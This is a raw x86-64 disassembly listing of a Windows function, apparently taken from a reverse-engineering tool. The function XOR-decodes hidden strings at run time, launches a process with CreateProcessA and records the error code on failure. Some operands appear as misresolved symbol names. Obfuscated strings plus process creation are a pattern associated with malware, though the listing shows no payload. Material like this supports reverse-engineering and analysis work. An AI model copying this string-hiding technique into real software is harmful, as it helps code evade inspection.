mov byte [rbp - 0x2a], dil
xor sil, r9b
mov byte [rbp - 0x29], sil
xor r14b, r9b
mov byte [rbp - 0x28], r14b
xor r15b, r9b
mov byte [rbp - 0x27], r15b
xor r12b, r9b
mov byte [rbp - 0x26], r12b
xor r13b, r9b
mov byte [rbp - 0x25], r13b
mov byte [rbp - 0x24], 0
xor r12d, r12d
mov ecx, r12d
lea r13, [0x14075f770]
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x3f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140062f70
lea rdi, [0x14010e59c]
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea r14, [0x14010e5a0]
mov qword [0x14075f768], r14
jmp 0x140062fc5
lea rdi, [0x14010e59c]
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0x70], 0x68
or dword [rbp + 0xac], 0x100
mov word [rbp + 0xb0], r12w
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x1f8]
call fcn.14006d360
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
lea rcx, [rbp - 0x40]
call fcn.140049850
test ebx, ebx
jne 0x14006326a
lea rax, [0x140111b50]
mov qword [rbp + 0xe0], rax
lea rax, [0x140111300]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x320], 7
xor r8d, r8d
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x160], r12
mov dword [rbp + 0x168], r12d
mov byte [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov al, 0x6a
mov cl, 0x7d
movzx edx, cl
mov r8b, 0x60
movzx r9d, cl
mov r10b, 0x2f
mov r11b, 0x3f
mov bl, 0x77
mov dil, gethostname
mov sil, Ordinal_60
xor r15d, r15d
xor al, 0xf
mov byte [rbp - 0x1f], al
xor cl, 0xf
mov byte [rbp - 0x1e], cl
xor dl, 0xf
mov byte [rbp - 0x1d], dl
xor r8b, 0xf
mov byte [rbp - 0x1c], r8b
xor r9b, 0xf
mov byte [rbp - 0x1b], r9b
xor r10b, 0xf
mov byte [rbp - 0x1a], r10b
xor r11b, 0xf
mov byte [rbp - 0x19], r11b
xor bl, 0xf
mov byte [rbp - 0x18], bl
xor dil, 0xf
mov byte [rbp - 0x17], dil
xor sil, 0xf
mov byte [rbp - 0x16], sil
mov byte [rbp - 0x15], r15b
lea rdx, [rbp - 0x1f]
lea rcx, [rbp + 0xf0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xf8]
call fcn.14006d360
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
sub r13, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400631c0
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r15d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r15d
mov qword [0x14075f768], r14
lea rcx, [rbp - 0x40]
call fcn.140049850
nop
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call fcn.14006aae0
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140063320
movdqa xmm1, xmmword [0x140112c40]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x3f], al
xor byte [rbp - 0x3e], cl
xor byte [rbp - 0x3d], cl
xor byte [rbp - 0x3c], cl
xor byte [rbp - 0x3b], cl
xor byte [rbp - 0x3a], cl
xor byte [rbp - 0x39], cl
xor byte [rbp - 0x38], cl
xor byte [rbp - 0x37], cl
xor byte [rbp - 0x36], cl
xor byte [rbp - 0x35], cl
xor byte [rbp - 0x34], cl
xor byte [rbp - 0x33], cl
xor byte [rbp - 0x32], cl
xor byte [rbp - 0x31], cl
mov byte [rbp - 0x30], 0
mov rcx, r12
nop
movzx eax, byte [rbp + rcx - 0x3f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400632c0
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], 0
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], 0
lea rax, [0x14010eb78]
mov qword [0x14075f768], rax
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1dc], edx
lea rcx, [rbp + 0x1f8]
call fcn.14006aae0
lea rcx, [rbp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov r15, qword [rbp + 0x50]
mov r8, qword [rbp + 0x28]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x28]
call fcn.140077dd0
mov edx, 0x60
mov rcx, qword [rbp + 0x28]
call fcn.1400ed628
nop
test r15, r15
je 0x1400633e0
mov rdx, qword [rbp + 0x60]
sub rdx, r15
and rdx, 0xfffffffffffffff8
mov rax, r15
cmp rdx, 0x1000
jb 0x1400633d8
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400633d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400ed628
mov rbx, qword [rsp + 0x438]
add rsp, 0x3e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret